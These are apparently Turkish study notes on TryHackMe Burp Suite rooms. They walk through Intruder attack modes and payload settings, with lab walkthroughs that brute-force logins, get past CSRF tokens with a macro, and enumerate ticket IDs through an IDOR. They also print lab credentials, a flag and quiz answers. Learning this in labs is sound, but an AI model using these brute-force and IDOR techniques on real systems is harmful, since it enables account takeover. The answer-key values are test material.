- şimdi start attack deyin positions kısmında üst sağ tarafta ve bir ekran göreceksiniz
- burada elle girelen değerlerin çapraz bir şekilde denendiğine şahit olacaksınız
- tabi birşey olmayacak ama şimdilik ;)
- soru : Bir faydalı yük pozisyonunun başlangıcını ve bitişini hangi sembol tanımlar?
- cevap: bu işaretin anlamı: section sign yani bölüm işareti demek
- linux: ctrl + shitf + u + 00a7 ve sonra enter tuşuna basın
- windows: alt tuşuna basılı tutarak 0167 yazın ve sonra tuşu bırakın
- mac: Option (⌥) + 6 tuşlarına basarak yapabilirsiniz
- ' Introduction to Attack Types : Saldırı Türlerine Giriş
- 'Sniper:
- tek bir alana yönelik saldırıların yapılmasını sağlayan bir tür
- yani: kullanıcı adı bilinen ama paroloasını bilmediğimiz, hedefe yönelik sadece parola denemesi yapmamızı sağlayan bir özellik
- kullanıcı adı sabit olur örnn: admin ve parola kısmına daha önce yaptığımız gibi elle veya bir liste yüklenerek bu listenin
belli olan kullanıcı adının parolasını bulmasını sağlayabiliriz
- 'Battering Ram:
- bu saldırı türünde:
- bir tane listemiz olur
- bu listede hem kullanıcı adı hemde parola değerleri kullanılır
- listedeki her bir satır hem kullanıcı adı hem de parola olarak kullanılır.
- örn bir liste:
john123 password123
alice456 qwerty789
mike789 abcdef123
emma321 987654321
lucas111 welcome2024
- burada kullanıcı adı john123%20password123 dener, parolosını john123%20password123 dener
- bunu daha geniş düşünün, değiştirilmesi gereken üç veya daha fazla alan olduğunu düşünelim
- o zaman da aynı şekilde tek liste ve deşimesi gereken yerlere örnek listemiz gibi bir liste oluşturulması ile sürecin işletilmesi sağlanır
- yani her bir satır tek bir istekte gönderilir
- 'Pitchfork:
- iki adet liste kullanılır
- iki alan ve iki listemiz var
- bunların ilk satırı aynı istekte gönderilir (her bir listenin satırları sanki tek listeymiş gibi kullanılır)
- yani şöyle düşünün:
- birinci liste kullanıcı adları ikinci listede parolalar var
- ve bu listenin her bir satırları bire bir ilerliyor
- örn:
1.liste 1.satır == 2.liste 1.satır
1.liste 2.satır == 2.liste 2.satır
1.liste 3.satır == 2.liste 3.satır
- bu şekilde eşleştirilip bir istekte gönderilerek sonucu inceleniyor
- 'Cluster Bomb
- tam anlamıyla Brute Force (Kaba Kuvvet) saldırısı için kullanılan bir özellik
- kullanıcı adı için ayrı bir liste
- parola için ayrı bir liste
- veya değişecek başka bir alan/lanlar için ayrı bir liste veya ayrı ayrı listeler kullanılabilir
- en fazla deneme yapmaızı sağlar bu özellik
- soru: Hangi saldırı türü, istekte tanımlanan her konuma her defasında bir veri yükü ekleyerek yükler arasında geçiş yapar? : Sniper
- ' Sniper
- bu senaryoda kullanıcı adını bildiğimizi varsayalım
- (sistemlerimizi hazırlayalım daha önceki adımlarda anlatıldı)
- uzantımız: machine_ip/support/login
- önce bir yakalama işlemi yapalım
- kullanıcı adı admin olarak girelim tabi bir sonuç olmayacak ama nasıl yapıldığını öğreneceğiz
- kullanıcı adı sabit kalacak ve saldırı yapacağımız kısım parola olacak
- saldırı tipini de sniper olarak ayarlayacağız
- ve mauel olarak liste hazılayalım
- eğer varsa load kısmından parola listesini ekleyebilirsiniz
- ve işimiz bittiğinde start attack diyerek işlemi başlatalım
- sonuç lara mouse ile tıklanarak request ve responslara göz atılabilir
- varsayalım ki parola bulundu o zaman length değeri diğer başarısız denemelerin aldığı değerden farklı olacaktır
- kesin doğrudur denilemez ama incelenmesi gerektiğini bilin
- sorular:
100 kelime içeren bir kelime listesine sahip bir istekteki üç parametreyi bulanıklaştırmak için
Sniper kullanıyor olsaydınız, saldırıyı tamamlamak için Burp Suite'in kaç istek göndermesi gerekirdi? : 300
Sniper bir saldırı gerçekleştirmek için kaç set yükü kabul edecek? : 1
- ' Battering Ram
- bu senaryoda ise bize verilen bilgiler doğrultusunda soru üzerinden gidelim
- uzantımız: machine_ip/support/login
- İçinde iki kelime bulunan (admin ve Guest) bir kelime listeniz varsa ve istek şablonundaki pozisyonlar şöyle görünürse:
kullanıcı adı=§pentester§&şifre=§Expl01ted§
Burp Suite'in gönderdiği ilk isteğin gövde parametreleri ne olur?
- önce saldırı tipini Battering yapalım
- ve manuel olarak sırayla
admin
Guest
- değerlerini ekleyelim ve saldırıyı başlatalım
- cevabımız: username=admin&password=admin
- buradaki saldırıda iki değişecek alan var ama listede tek bir kısım mevcut
- dolayısı ile her satır bu değişcek alanlara yazılır.
- unutmayın, pozisyon kısmından değişecek alanları seçmeniz gerekiyor
- (aradaki adımlar deteylı olarak anlatıldığı için ek olarak anlatılmamaktadır)
- ' Pitchfork
- Bu saldırı türünde, farklı pozisyonlar için ayrı ayrı listeler (payload set'ler) kullanılır.
- Örnek senaryoya göre, hedef URL: machine_ip/support/login
- Positions kısmında, değiştirilecek alanları seçeriz ve daha sonra saldırı tipi olarak Pitchfork seçilir.
- Payloads kısmında, her değişecek pozisyon için ayrı bir payload listesi (set) eklenir.
- Örneğin, birinci değişecek alan için bir liste, ikinci değişecek alan için başka bir liste eklenir.
- Saldırıyı başlattığımızda, iki liste birbirine paralel olarak çalışır; yani birinci listedeki ilk değer, ikinci listedeki ilk değerle birlikte aynı istekte gönderilir.
- Bu saldırı tipi, her değiştirilecek pozisyon için bir liste gerektirir.
- Her listedeki aynı sıradaki satırlar, bir araya getirilerek istekler oluşturulur.
- Pitchfork saldırısı için maksimum 20 farklı pozisyon ve liste kullanılabilir.
- ek örnek olarak:
- varsayalım ki 3 değişken var
- bunlar kulllnıcı adı, email adresi ve parola
- ozaman hem kullanıcı adı için
- hem email adresi için
- hem de parola için aynı satır sayısına sahip toplam 3 ayrı liste kulanmalıyız
- soru: Pitchfork modunda Intruder'a yükleyebileceğimiz maksimum yük seti sayısı nedir? : 20
- ' Cluster Bomb
- bu senaryoda ise bize verilen bilgiler doğrultusunda soru üzerinden gidelim
- daha önce de çalışma mantığından bahsetmiştik en basit açıklama ile kaba kuvvet salrısı için kullanıldığını belirtmiştik
- belirtilen listeler çapraz olarak elealınır
- yani kullanıcı adı için 5 parolo kısmı için 10 adet veri bulunuyorsa bu listelerde
- o halde toplam 5x10=50 adet istekte bulunulur
- denememizi yapaılım
- daha önce ki gibi adımları takip ederek ilerleyiniz
- (bu adımlar es geçildi daha önce detaylı olarak anlatıldı)
- sizinde göreceğiniz üzere liste satır toplam adetleri çerpılarak ortaya toplam istek sonucu çıktı
- soru: Üç adet yük setimiz var. İlk set 100 satır, ikincisi 2 satır ve üçüncüsü 30 satırdan oluşmaktadır.
Saldırgan, bir Parçalı bomba saldırısında bu veri yükü setlerini kullanarak kaç istekte bulunacak? : 6000
- ' Payloads
- bu kısımda intruder/payloads kısmını biraz daha detaylı olarak ele alacağız
- önceki aşamaların hepsinde payload type da simple list i kullandık
- yani denenecen olan değerleri kendimiz ekledik
- şimdi burp suite nin bize sağlamış olduğu kolaylıklara bakalım
- yani listeyi biz eklemeden burpsuite aracı ile neler yapabiliriz bunlara bakalım
- mesela bir kaçtanesine bakalım:
- numbers
- birtane başlangıç değeri belirlenir from kısmında örn: 0000
- birtane bitiş değeri to örn: 9999
- birde artış miktarı step örn: 500
- deneme içi sadece parola alnını kullanalım ve sniper tipini seçelim
- ayarlamaları yaptıktan sonra atağı başlatın ve sonucuçları inceleyin
- dates
- burada da tarih kullanılır
- değerindeki gibi başlangıç tarihi, bitiş tarihi, artş miktarı
- ek alarak tarih formatını ayarlayabilirsiniz
- ve görünümü değiştirebilirisinz
- saldırı işlemleri için bir önceki kısımda yaptığımız gibi sniper seçili olsun ve sadece parola kısmını hedef alalım ve sonra saldırıyı başlatalım
- sonuçları gözlemleyiniz
- bruteforce
- burada önce kullanıcak karakter dizisini belirliyoruz
- örn character set : asd123
- sonra en küçük karakter adedi ile en büyük karakter adedleri belirlenir.
- min : 8, max : 8 olsun
- bu değerler ile verdiğimiz dize kullanılarak 8 karakterli bir şey oluşturacak
- belli bir süre çalıştırın ve sonra yukarıdaki attack butonundan pause diyerek sonuçları inceleyin
- username generator
- bu kısımda da bir değer giriyorsunuz max olarak 100 farklı değere çeviriyor
- mesela dogukan öztürk olarka ekleme yapalım (başka herhangi bir değer girebilirsinize: firstname.lastname@example.org gibi)
- sonra hedef kısmını username değeri yapalım ve saldırıyı başlatalım
- ve gelen sonuçları gözlemleyelim
- burada payload ın işlenmesi ile alakalı da bir bölüm var (payload processing)
- intruder => payloads kısmanda
- payload type ı simple list yapalım
- bir kaç değer ekleyelim
- burada ki girlen değerlere aytıca işlem yaptıra birliriz
- örn processing de add butonuna tıklayıp add prefix dediğimizde
- var olan değerin öncesine farklı bir değer ekleyebiliriz
- yani başında sabit olarak bildiğimiz bir değer varsa onu burada belirtebiliriz
- mesela 0000 ekleme yaparak deneyelim ve sonunçları gözlemleyelim
- bu başına ekledi.
- sonuna eklemek için add suffix i seçeriz (deneyin)
- soru: Kümedeki her bir yükün sonuna karakter eklemek için hangi Yük işleme kuralını kullanabiliriz? : Add suffix
- ' Pratic 1
- bu kısımda örnek bir uygulama yapacağız
- bize verilen bir dosya var: wget http://10.10.147.13:9999/Credentials/BastionHostingCreds.zip
- bunu indirelim ve şunu yapalım: mkdir BastionHostingCreds && cd BastionHostingCreds && unzip ../BastionHostingCreds.zip && ls -lh
- bize dört adet txt dosyası veriyor ve bunlarlar birşeyler yapmamızı istiyor
- hedef adresimiz: http://10.10.147.13/support/login
- atack türümüz: PichFork (her değişken alan için bir liste)
- bizden istenilen bir kullanıcının login bilgilerini almak
- izlenecek adımlar:
- burpsuite => proxy => intercept => open browser : http://10.10.147.13/support/login
- bu kısımdan sonra intercept is on olarak ayarlayın ve rasgele bir kullanıcı adı ve şifre girip request paketini yakalayıp intruder a gönderin (send to inruder)
- intruder kısmına gidin ve değişecek alanları add butonu ile seçin (auto butonu ile de seçebilirisiniz, sıra: yukarıdan aşağı ve soldan sağa)
- daha sonra choose atack type = pichfork ayarlayın ve payload kısmına geçin
- payload set 1: kullanıcı adı, payload set 2: parola
- ilk kullanıcı adı:
- indirdğimiz zip içeriğinde username.txt dosyasını payload settings kısmında load butonu ile ekleyeceğiz
- sonra paroloa:
- indirdğimiz zip içeriğinde password.txt dosyasını payload settings kısmında load butonu ile ekleyeceğiz
- şimdi atağı başlatın ve length kımını izleyin, bu kısımda farklı olan değerleri inceleyin
- ve bulduk: username=m.rivera&password=letmein1
- doğrulamak için logün sayfasında deneyelim
- soru: Hangi kullanıcı adı ve şifre kombinasyonu başarılı bir oturum açma girişimini gösterir? Yanıt formatı "kullanıcı adı:şifre"dir.
cevap: m.rivera:letmein1
- ' Pratic 2
- Uygulama Amacı
- Bu uygulamada IDOR açığını kullanarak bir kullanıcının ticket'ındaki bayrağı bulmayı hedefliyoruz.
- Adım 1: Hesaba Giriş Yapma
- Öncelikle, daha önce bulduğumuz hesabımızla giriş yapalım. Burada isteği yakalamak için Burp Suite aracını kullanacağız.
- Adım 2: İsteği Yakalama
- Bir ticket'a tıklayarak isteği yakalayalım ve bunu Intruder'a gönderelim.
- Adım 3: Saldırı Türünü Seçme
- En uygun saldırı türü olarak "sniper" tipini seçeceğiz. Bunun nedeni, belirli bir alana yönelik bir saldırı gerçekleştirecek olmamız.
- Adım 4: Hedef Alan
- Hedef alanımız: GET /support/ticket/1 HTTP/1.1
- Buradaki /support/ticket/1 in 1 sayısını seçip "Add" butonuna tıklıyoruz.
- Adım 5: Payload Ayarlama
- Payloads kısmında, "Numbers" payload türünü seçerek 1'den 100'e kadar 1'er gitmesini ayarlayalım.
- Adım 6: Saldırıyı Başlatma
- Saldırıyı başlatalım ve "Status Code" kolonuna tıklayarak 200 kodunu en üstte göstermesini sağlayalım.
- Adım 7: Sonuçların İncelenmesi
- Sondurum olarak, 6, 47, 57, 78 ve 83 sayılarında 200 kodunu yani başarılı olan istekleri bulmuş olacağız.
- Adım 8: Bayrağın Bulunması
- Bu sayıların her birine teker teker tıklayarak açılan pencerede, "THM" yazısını arayabilir veya kodları inceleyebilirsiniz.
- Ayrıca "Render" butonuna basarak web görüntüsünü inceleyebilirsiniz.
- Sonuç
Bayrağımız: THM{MTMxNTg5NTUzMWM0OWRlYzUzMDVjMzJl}
Sorular
- Bu göreve en uygun saldırı türü hangisidir?
Cevap: Sniper
- Bayrağı içeren bileti bulun. Bayrak nedir?
Cevap: THM{MTMxNTg5NTUzMWM0OWRlYzUzMDVjMzJl}
- ' Pratic 3
- bu kısımda biraz daha zor bir kaba kuvvet saldırısı gerçekleştireceğiz (CSRF)
- CSRF (Cross-Site Request Forgery)(siteler arası istek sahteciliği)nedir:
- Siteler arası istek sahteciliği (CSRF - Cross-Site Request Forgery), bir web güvenlik açığıdır.
- Bu saldırı türünde, kötü niyetli bir saldırgan, bir kullanıcının tarayıcısındaki güvenilir bir siteye karşı istemediği bir işlemi gerçekleştirmesine neden olur.
- Bu, kullanıcının kimliği doğrulanmış oturumu üzerinden gerçekleştirilir. Saldırgan, kullanıcının haberi olmadan onun adına istekler gönderir.
- CSRF saldırıları, aynı kaynak politikası (same-origin policy) gibi güvenlik önlemlerini kısmen aşar. Aynı kaynak politikası,
farklı sitelerin birbirine karışmasını önlemeyi amaçlar, ancak CSRF, kullanıcının kimlik doğrulama bilgilerini suistimal ederek bu engeli aşabilir.
- Bu şekilde, kullanıcının istemediği eylemler gerçekleştirilir, örneğin hesap bilgilerinin değiştirilmesi veya yetkisiz bir para transferi yapılması.
- Yanni: CSRF, bir saldırganın, kullanıcının bilgisi dışında yetkili olduğu bir web sitesi üzerinden istem dışı işlemler yapmasını sağlayan bir güvenlik açığıdır.
- CSRF saldırıları genellikle şu alanlarda bulunur:
- Web uygulamaları: Kullanıcıların oturum açtığı ve kimlik doğrulaması yaptığı tüm web siteleri (örneğin, banka, sosyal medya, alışveriş siteleri) CSRF'ye karşı savunmasız olabilir.
- Formlar ve işlemler: Parola değiştirme, para transferi gibi kritik işlemleri barındıran sayfalar.
- Çerez kullanan oturumlar: Tarayıcıda oturum açık olduğunda, saldırgan bu oturumu kötüye kullanabilir.
- CSRF’den korunma yöntemleri:
- CSRF jetonları: Her form veya isteğe özel, sunucu tarafından üretilen benzersiz bir token eklemek. Bu token, saldırganın elde edemeyeceği bir güvenlik katmanı sağlar.
- Referer ve Origin başlıkları: Sunucu, isteğin kaynağını (referer/origin) kontrol ederek farklı bir siteden mi geldiğini doğrulayabilir.
- Doğrulama gerektiren işlemler: Kritik işlemler öncesinde kullanıcının parolasını tekrar girmek veya CAPTCHA gibi doğrulama yöntemleri kullanmak.
- SameSite çerez özelliği: Çerezleri yalnızca aynı kaynaktan gelen isteklerde kullanılabilir hale getirerek CSRF saldırılarını önleyebilir.
- HTTP yöntem kısıtlamaları: Kritik işlemler sadece güvenli HTTP yöntemleriyle (örneğin, POST) yapılmalıdır.
- bizden istenen: http://10.10.120.71/admin/login/ adresinde bir kaba kuvvet saldırısı gerçekleştirmemiz
- burpsuite üzerinden önce hedefimize gidelim
- daha sonra bir giriş yapmayı deneyelim örn: admin:123123123 gibi bunu yaparken de istek yakalamak için burpsuite aracımız açık olsun
- ek olarak token bilgisi gördük:
username=admin&password=123123123&loginToken=b75d4fc774a191baedcea77b240d3636
- ve session değeri daha var:
Cookie: session=eyJTdXBwb3J0QXV0aCI6IlRydWUiLCJTdXBwb3J0SUQiOjMsInRva2VuSUQiOiI4NzcwZGMyNDVmZTkyYjNiYjU2MmJkMzRmZGE5YmZlZCJ9.Zu35cQ.fpbC4QEz70dPWGt3ypzj1LbZZsU
- bunların değiştiğini görmek için giriş işlemini tekrar ederek önceki ve sonraki değerleri karşılaştırın:
önceki:
username=admin&password=123123123&loginToken=b75d4fc774a191baedcea77b240d3636
Cookie: session=eyJTdXBwb3J0QXV0aCI6IlRydWUiLCJTdXBwb3J0SUQiOjMsInRva2VuSUQiOiI4NzcwZGMyNDVmZTkyYjNiYjU2MmJkMzRmZGE5YmZlZCJ9.Zu35cQ.fpbC4QEz70dPWGt3ypzj1LbZZsU
sonraki:
username=admin&password=123123123&loginToken=4e2f928ab519f0221024aec7bcf63930
Cookie: session=.eJyrVgouLSjILypxLC3JULJSCikqTVXSgQl6uihZGesoleRnp-aB2EqJloaGJsZpqaaJiUnmyUlAroVBikFKkoW5oblhimmKUi0AOFUZAg.Zu36cg.Ti1S95JqJ_ZLSDLXpcXZCi1wP7s
Görüldüğü üzere: session ve loginToken değerleri değişti
- bu kısımda burpsuite nin macro sunu kullanarak bu kısımlarda benzersiz değerlerin oluşturulmasını sağlayabiliriz
- yani her bir veri girişinde istekte bu iki kısımda benzersiz değerler eklenerek sunucuya gönderiliyor
- işte biz bunları manipüle etmek için burp suitenin macrosunu kullanacağız
- bunun için:
- proxy => proxy settings => project => sessions => macros
- macros kısmında add butonuna tıklayalım
- burada en son yapılan 200 code lu isteğe tıklayalım
- ok diyelim
- bir isim verelim Macro 1 yazan yere, ben CSRF diyeceğimz
- ok butonuna tıklayalım
- şimdi bu macroyu işleme almamız gerekiyor
- yani bununla ilgili bir kural belirlememiz gerekiyor
- session handling rules kısmıda add butonuna tıklayalım
- burada da Rules 1 yazan yere açıklama girelim ben yine CSRF yapacağım
- burda scope kısmında intruder hariç diğer seçili olanları kaldıralım
- çünkü inruder üzerinden işlem yapacağız
- ve burada defined in target lab yani özel kapsamı seçelim
- tekrar details kısmına gelerek add butonu ardından run macro diyelim
- çıkan ekranda belirlediğiniz macro ismine tıklayın
- daha sonra bir alt kısımda update only the following parameters and headers seçelim (değişecek olan parametreler: loginToken)
- loginToken yazıp ekleyelim
- bir sonraki alt kısımda da oturum bilgisi yani session değişecek olan
- ikinci kısmı seçerek session yazıp ekleyelim
- bu ayar her seferinde sunucunun istediği formatta benzersiz değer üretilmesini sağlayacak
- bu kısımdaki ayarlar tamamlandı
- ok diyelim
- bir sonraki kısıma da ok diyelim
- şimdi bu proxy de yakaladığımız isteği intruder a gönderelim
- session ile loginToken i macro değiştirecek biz ise username ile password kısmını değiştireceğiz
- yani bu iki alanı seçin
- bize ek olarak verilen bir bilgi de pichfork atack yöntemini kullanmamızı istiyor ki biz bu bilgiyi vermese de bunu kullanmamız gerektiğini biliyoruz
- çünkü iki farklı alan var ve iki listeye ihitiyacımız var
- listelerimizide aktardığımıza göre atağı başlatabiliriz
- not: status code 302 değilde 404 görürseniz macronuzda hata olmalı çalışmıyordur
- bu kısımda dikkat edeceğimiz alan farklı length değerleri olacak
- bir değer elde ettik: username=o.bennett&password=bella1
- hadi bunu deneyelim
- bizi: http://10.10.120.71/admin/ adresine götürdü burada bir grafik ile 'Profits for 2023' yazısı mevcut
- yani giriş başarılı
- soru:
Hangi kullanıcı adı ve şifre kombinasyonu başarılı bir oturum açma girişimini gösterir? Yanıt formatı "kullanıcı adı:şifre"dir. : o.bennett:bella1
18.Study: ' BurpSuite Diğer Modülleri
- bunlar basit işler gerçekleştiren işlemlerdir.
- burpsuite üzerinde bunları öğrenmek, yapacağımız işlemlerde kolaylık sağlayacaktır
- ' Decoder
- verilerin farklı bir formata farklı bir görünüme dönüştürülmesine Encoding, normal okunabilir hale getirilmesine ise Decoding denir
- bu işlemi yapan bir web uygulaması ise: https://gchq.github.io/CyberChef/
- burpsuite çalıştırdıktan sonra Decoder sekmesine tılayın
- mesela kendi isminizi yazın, ben doğukan yazıp bunu Encode as açılır kutuya tıklayarak Base64 e çevirdiğimde
Dogukan => Base64 => RG9ndWthbg==
- çevrilmiş görüntüsünü alacağım
- Aynı şekilde çevrilmiş gürüntüyü alıp bu sefer Decode as açılır butonunda Base64 yaparsam:
RG9ndWthbg== => Base64 => Dogukan
- olarak asıl metne ulaimış olurum
- bu olay, asıl verinin farklı formatta görüntülenme olayıdır.
- yani: Bu açıklamayla şunu diyebiliriz: Bir veri geri döndürülebiliyorsa bu şifreleme olur, eğer geri döndürülemiyorsa bu işlem hashleme olur.
- smart decode ise: özellikle html kodunun ilk anda anlaşılabilir olan kısımları otomatik olarak çözmeye çalışır
- soru: Hangi özellik girişin kodunu otomatik olarak çözmeye çalışır? : smart decode
- ' Decoder: Encoding/Decoding uygulama
- kod çözme ve kodlama
- uygulama üzerinden gidelim:
- soru : Bu metnin Let's Start Simple base64 kodlu versiyonu nedir? : TGV0J3MgU3RhcnQgU2ltcGxl
- soru : Döndürülen düz metin nedir? %4e%65%78%74%3a%20%44%65%63%6f%64%69%6e%67 : Next: Decoding (not: smart decode)
- soru : Kodu çözülmüş metin nedir? %34%37 : %34%37 : 47
- burda bize verilen görüntüde html => URL => asıl metin olarak ulaşıyoruz
- bu verilen görüntüyü alıp smart decode e bastığınızda göreceksiniz
- Challenge sorusu:
ifade: Encoding Challenge
Base64 kodlamasıyla başlayın. Bunun çıktısını alın ve ASCII Hex'e dönüştürün. Son olarak, onaltılık dizeyi sekizli olarak kodlayın.
Son dize nedir?
Encoding Challenge Asıl metin
RW5jb2RpbmcgQ2hhbGxlbmdl BASE64
5257356a62325270626d6367513268686247786c626d646c ASCII HEX
24034214a720270024142d541357471232250253552c1162d1206c OCTAL
- ' Decoder: Hashing
- bu kısımda Hash şifreleme kullanacağız. Bize verdiği dosyayı indirelim
- mkdir tryhackmeKeys&&cd tryhackmeKeys&&unzip ../keys-1627343109071.zip&&ls -lh
- veya cd Downloads/tryhackmeKeys/&&mkdir alernativeKeys&&cd alernativeKeys&&wget http://10.10.39.92:9999/AlteredKeys.zip
- bulundğunuz dizinde bir tryhackmeKeys dizini oluştu ve içine de zipli dosya içeriği çıkarıldı
- hashing:
- tek yönlü bir işlem
- bir değerin benzersiz bir başka değere dönüştürülme işlemidir.
- işlem sonrası elde edilen benzersiz değerin geri döndürülememesi hedeflenmiştir
- mesele bir dosyanınz heşdeğeri onun imzasıdır
- eğer mevcut dosyada bir değişiklik olursa bu imza yani hash değeri de değişecektir
- örn bir dsoya oluşturalım: touch deneme.txt
- daha sonra shasum deneme.txt diyelim :
shasum deneme.txt
da39a3ee5e6b4b0d3255bfef95601890afd80709 deneme.txt
- şimdi bu deneme dosyasına birşeyler ekleyelim: echo "merhaba benim adım doğukan">>deneme.txt
- cat ile okuyalım: cat deneme.txt
- şimdi tekrar bakalım shasum ile hash değerine
shasum deneme.txt
f2053d0e79b748349a4999b623350ffe6d990cc7 deneme.txt
- görüldüğü üzere hash değerimiz değişti
- şimdi sorular üzerinden gidelim:
- soru: Kod Çözücüyü kullanarak ifadenin SHA-256 karma toplamı nedir?: Let's get Hashing!
Bu sorunun cevabı için bunu bir ASCII Hex dizisine dönüştürün.
burp suite üzerinde yapalım : önce sha-256 daha sonra çıkan değeri de encoded ile asciihex e dönüştürün
6b72350e719a8ef5af560830164b13596cb582757437e21d1879502072238abe
- soru: İfadenin MD4 karma toplamını oluşturun: Insecure Algorithms
Göndermeden önce bunu base64 (ASCII Hex değil) olarak kodlayın.
önce cerilen değri md4 hash alalım sonrda encoded ile base64 e çevirelim
TcV4QGZZN7y7lwYFRMMoeA==
- soru: daha önce indidiğimiz zip li dosyamızın içerisindeki doslarda dağıtılmış bir şekilde bir ssh bağlantı hash i var bizden doğru olanını bulmamızı istiyor
bunu için de dosya içerisindekileri teker teker burpsuite de encoded aracı kullanılarak bunu yapacağız
önce hash değeri gireceğiz ki bu MD5
daha sonrada decoded olarak ASCII hex seçeceğiz
doğru olan hash: 3166226048d6ad776370dc105d40d9f8
bunu bulmamız gerekiyor (not: txt içeriğinin tamamını kopyalayın)
başlayalım:
key1 için: b523e7a5b4e82a254f2669e46a7c012a NO
key2 için: 915fb4c73cc1acc350fae502f6655500 NO
key3 için: 3166226048d6ad776370dc105d40d9f8 YES
key4 için: c0a448edc9f1bc4b10c0ffc6eb79a005 NO
aradığımız hash değeri key3 dosyasında
bu işlemi aynı şekilde kalide olan md5sum <dosya.adi>
ile de yapabilirdik deneyin
md5sum key3
3166226048d6ad776370dc105d40d9f8 key3
bulunduğumuz dizin keys olsun
ve şu komutu yazın: md5sum *
bu aktif dizibdeki tüm dosyaların md5 hash ini verir
- ' Comparer: Overview
- bu araç iki değeri karşılaştırakrak nerede eksik var nerede fazla var neye düzenleme yapımış bunu tespitini sağlar
- şöyle yapalım örnek bir metin olarak:
The compared data occupies most of the window; it can be viewed in either text or hex format.
The initial format depends on whether we chose to compare by words or bytes in the previous window, but this can be overridden by using the buttons above the comparison boxes.
The comparison key is at the bottom left, showing which colors represent modified, deleted, and added data between the two datasets.
The Sync views checkbox is at the bottom right of the window. When selected, it ensures that both sets of data will sync formats. In other words, if you change one of them into Hex view, the other will adjust to match.
- bu metni ele alalım
- paste diğerek bu metni yapıştıralım
- ve şimdi de bu metni değiştirelim
The compared data occupies most of the window; DOGUKAN it can be viewed in either text or hEx.
The initial format depends on whether we chose to compare by words or bytes in the previous Windows, but this can be overridden by using the buttons above the comparison boxes.
The comparison key is at the bottom left, showing which colors CYBER SECURITY represent modified, deleted, and added data between the two datasets.
The Sync views checkbox is at the bottom right of the window. When selected, it that b0th sets of data will sync formats. In other words, if you change one of them into Hex view.
- değiştirelim ve bu metni de paste diğerek yapıştıralım
- daha sonra Words butonuna tıklayalım ve değiştirilenleri, silinenleri ve eklenen leri renklendirerek bizer gösterecektir.
- yani il kısıma orijinal ve daha sonra değiştirilmiş bir değer koyduğumuzda aradaki farkları bizer gösterecektim:
modified: hex format. | window | ensures | that both | bundan => buna => Windows | hEx | that | b0th
deleted: , the other will adjust to match
added: DOGUKAN | CYBER SECURITY
- sizde deneyin
- sync views aktif ederseniz bir metin kutusu hex görünüm olursa diğeride buna uyarak otomatik hex görünüm olur
- bytes butonu da hex görümünü gösterir
- ' Comparer Alıştırma
- ortamda çalışmamız için attack machine i çalıştıralım daha sonra bize bir link verilecek
- burada işlemlerimizi yapacağız
- http://10.10.192.208/support/login
- buraya gidelim
- burpsuite üzerinden
- önce inceleme yapalım
- bir login paneli
- bize bir hesap bilgisi veriliyor
Username: support_admin
Password: w58ySK4W
- önce kullanıcı adı ile password ü test olarak girelim ve isteği yakalayalım
- daha sonra repeter a gönderelim ve send diyeli yanıt bölümüne gelerek sağ tuş ile comparer i bulup oraya gönderelim
- daha sonra giriş bilgilerini : username=support_admin&password=w58ySK4W
- değiştirelim tekrar send diyelim ve yanıtı yine comparer e gönderelim
- ve karşılaştirma yapalım
- görüldüğü üzere bazı değerler medifiye edilmişken bazı değerler ise silinmiş
- ' Sequencer: Overview: Sıralayıcı
- bu kısımda Sequencer aracından, ne olduğundan ve analizinden bahsedeceğiz
- kullanıcıdan gönderilmeyen parametrelerin yani benzersiz olarak gönderilmesi planlanan değerlerin ne derece farklı olduğunun tespitinin farketmemizi sağlar (istatiski veri olarak)
- örnek olarak alıştırma yapacağımız yer: http://10.10.192.208/admin/login/
- burpsuite üzerinden ilerliyoruz yine
- bir admin login paneli göreceksiniz burada username ve password bilgisi isteniyor
- bunlar kullanıcının girdiği değerler
- bu bilgiler haricinde farklı bir parmetre gönderiliyor mu
- göderiliyorsa bu parametre her seferinde değişiyor mu
- değişiyorsa ne sıklıkla değişiyor bunun kontrolünü sağlamak için kullanılan bir araç
- şimdi bir bilgi girmeden sayfayı yenileyerek isteği yakalaylım
- burada bir session=eyJ0b2tlbklEIjoiY2JmZDU5OTNmNGZmYThmOWNmYTYxNjY1ZTBjMzA1MzEifQ.ZvIaNQ.FwuHoXJ9ECicfZqI-HMOZNTu8oU
- değeri olduğunu ve web sunucusuna otomatik olarak oluşturulp gönderildiğini görüyoruz
- şimdi sağ tıklayarak send to sequencer a gönderelim
- sequencer bölümüne geçelim
- bu kısımda cookie değerinin otomatik eklendiğini ve login token değeride form field kısmında açılır box ta görebiliyoruz
- bu değerler web sunucusuna gönderilir ve her seferinde değişen değerler
- bizim buradaki amacımız bu veri ne sıklıkla değişiyor bununla ilgili istatistik veri elde etmek
- yani sürekli mi yoksa daha düşük oranda mı şeklinde
- önce cooki yi seçelim ve start live capture diyelim
- request kısmında gördüğünüz gibi çok fazla istek gönderdi ve hala devam ediyor
- 7000 de pause diyelim (yarıda keser te analiz işlemi yapabiliriz)
- ardından analayz butonuna basalım
- bu bize gönderilen tüm istekleri analiz ederek bir sonuç döndürür
- bu sonuçta dikkat etmemiz gerek şey:
- Overall result
- benzersizlik seviyesi için de : excellent yani en üst seviyede olduğunu veriyor
- alt kısımdaki Reliability değerleri
- burada gönderilern istekler için analize uygun olup olmadığını belirtir
- bizde ise : good yani istek sayısı yeterli
- şimdi kapatıp tekrar çalıştıralım ama bu sefer istek sayısı oldukça az olsun ve önemli olan kısımları tekrar inceleyelim
- benzersizlik açısında hala çok iyi deniyor yani büyük oranda rasgele değerler veriliyor
- ama istatistik incele açısından istek sayısı için vert poor yani çok yatersiz olduğu belirtiliyor
- şimdi de from field için aynısını yapalım
- 5 - 6 bin de bunu durdurup analiz yapalım
- aynı şekilde değer oldukça iyi bir de aradaki farkı anlamak için 100 istek sonra analiz edelim
- bu kısımda da excellent yani anladığımız bu kısımda da büyük oranda rasgele değerler veriliyor
- soru: Sıralayıcı neyi değerlendirmemize olanak sağlar? : Entropy
- soru: Tahmin edilen genel rastgelelik kalitesi nedir? : Excellent
19.Study: ' Burp Suite: Extensions
- bu özellik burp suite ye yeni modüller eklemek üzere kullanılabilir
- ayrıca BApp mağzasındaki ek modüllerede ulaşılabilir
- ' Dış kaynaktan modül ekleme
- doğrudan bu likten burpsuite eklentilerine ulaşılabilir: https://github.com/topics/burp-extensions
- bunlardan birtanesi de Admin-Panel Finder: https://github.com/moeinfatehi/Admin-Panel_Finder
- bu admin panel bulma işlemi yapan burpsuite eklentisi
- bu eklentiler .jar uzantılı olur
- buraya gidelim
- sağ tarafta releases kısmında görünecektir
- bu kısıma tıklayalım
- Admin-Panel_Finder.jar isimli dosyayı indirelim
- indirdikten sonra burpsuite de extensions bölümüne gelelim
- add butonuna basalım
